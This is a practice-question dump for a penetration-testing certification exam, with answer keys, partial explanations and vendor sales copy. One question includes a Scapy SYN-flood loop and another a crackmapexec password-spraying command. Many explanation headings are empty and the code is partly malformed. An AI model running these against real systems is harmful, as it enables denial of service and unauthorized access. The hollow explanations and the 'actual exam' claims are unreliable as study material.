? Penetration Testing - A Hands-on Introduction to Hacking

? HTB Official Writeups

=====

NEW QUESTION 82

A penetration tester is authorized to perform a DoS attack against a host on a network. Given the following input:

ip = IP("192.168.50.2")

tcp = TCP(sport=RandShort(), dport=80, flags="S") raw = RAW(b"X"*1024)

p = ip/tcp/raw

send(p, loop=1, verbose=0)

Which of the following attack types is most likely being used in the test?

- A. MDK4
- B. Smurf attack
- C. FragAttack
- D. SYN flood

Answer: D

Explanation:

A SYN flood attack exploits the TCP handshake by sending a succession of SYN requests to a target's system. Each request initializes a connection that the target system must acknowledge, thus consuming resources.

? Understanding the Script:

? Purpose of SYN Flood:

? Detection and Mitigation:

? References from Pentesting Literature: Step-by-Step ExplanationReferences:

? Penetration Testing - A Hands-on Introduction to Hacking

? HTB Official Writeups

NEW QUESTION 84

During a security assessment, a penetration tester needs to exploit a vulnerability in a wireless network's authentication mechanism to gain unauthorized access to the network. Which of the following attacks would the tester most likely perform to gain access?

- A. KARMA attack
- B. Beacon flooding
- C. MAC address spoofing
- D. Eavesdropping

Answer: A

Explanation:

To exploit a vulnerability in a wireless network's authentication mechanism and gain unauthorized access, the penetration tester would most likely perform a KARMA attack.

? KARMA Attack:

? Purpose:

? Other Options:

Pentest References:

? Wireless Security Assessments: Understanding common attack techniques such as KARMA is crucial for identifying and exploiting vulnerabilities in wireless networks.

? Rogue Access Points: Setting up rogue APs to capture credentials or perform man-in-the-middle attacks is a common tactic in wireless penetration testing.

By performing a KARMA attack, the penetration tester can exploit the wireless network's authentication mechanism and gain unauthorized access to the network.

=====

NEW QUESTION 85

While performing an internal assessment, a tester uses the following command: crackmapexec smb 192.168.1.0/24 -u user.txt -p Summer123@

Which of the following is the main purpose of the command?

- A. To perform a pass-the-hash attack over multiple endpoints within the internal network
- B. To perform common protocol scanning within the internal network
- C. To perform password spraying on internal systems
- D. To execute a command in multiple endpoints at the same time

Answer: C

Explanation:

The command crackmapexec smb 192.168.1.0/24 -u user.txt -p Summer123@ is used to perform password spraying on internal systems. CrackMapExec (CME) is a post- exploitation tool that helps automate the process of assessing large Active Directory networks. It supports multiple protocols, including SMB, and can perform various actions like password spraying, command execution, and more.

? CrackMapExec:

? Command Breakdown:

? Password Spraying:

Pentest References:

? Password Spraying: An effective method for gaining initial access during penetration tests, particularly against organizations that have weak password policies or commonly used passwords.

? CrackMapExec: Widely used in penetration testing for its ability to automate and streamline the process of credential validation and exploitation across large networks.

By using the specified command, the tester performs a password spraying attack, attempting to log in with a common password across multiple usernames, identifying potential weak accounts.

=====

NEW QUESTION 86

A penetration tester cannot find information on the target company's systems using common OSINT methods. The tester's attempts to do reconnaissance against internet- facing resources have been blocked by the company's WAF. Which of the following is the best way to avoid the WAF and gather information about the target company's systems?

- A. HTML scraping
- B. Code repository scanning
- C. Directory enumeration
- D. Port scanning

Answer: B

Explanation:

When traditional reconnaissance methods are blocked, scanning code repositories is an effective method to gather information. Here??s why:

? Code Repository Scanning:

? Comparison with Other Methods:

Scanning code repositories allows gathering a wide range of information that can be critical for further penetration testing effort

=====

NEW QUESTION 90

During a penetration test, the tester gains full access to the application's source code. The application repository includes thousands of code files. Given that the assessment timeline is very short, which of the following approaches would allow the tester to identify hard- coded credentials most effectively?

- A. Run TruffleHog against a local clone of the application
- B. Scan the live web application using Nikto
- C. Perform a manual code review of the Git repository
- D. Use SCA software to scan the application source code

Answer: A

Explanation:

Given a short assessment timeline and the need to identify hard-coded credentials in a large codebase, using an automated tool designed for this specific purpose is the most effective approach. Here??s an explanation of each option:

? Run TruffleHog against a local clone of the application (Answer: A):

? Scan the live web application using Nikto (Option B):

? Perform a manual code review of the Git repository (Option C):

? Use SCA software to scan the application source code (Option D):

Conclusion: Running TruffleHog against a local clone of the application is the most effective approach for quickly identifying hard-coded credentials in a large codebase within a limited timeframe.

NEW QUESTION 91

.....

Thank You for Trying Our Product

We offer two products:

1st - We have Practice Tests Software with Actual Exam Questions

2nd - Questions and Answers in PDF Format

PT0-003 Practice Exam Features:

- * PT0-003 Questions and Answers Updated Frequently
- * PT0-003 Practice Questions Verified by Expert Senior Certified Staff
- * PT0-003 Most Realistic Questions that Guarantee you a Pass on Your First Try
- * PT0-003 Practice Test Questions in Multiple Choice Formats and Updates for 1 Year

100% Actual & Verified — Instant Download, Please Click
[Order The PT0-003 Practice Test Here](#)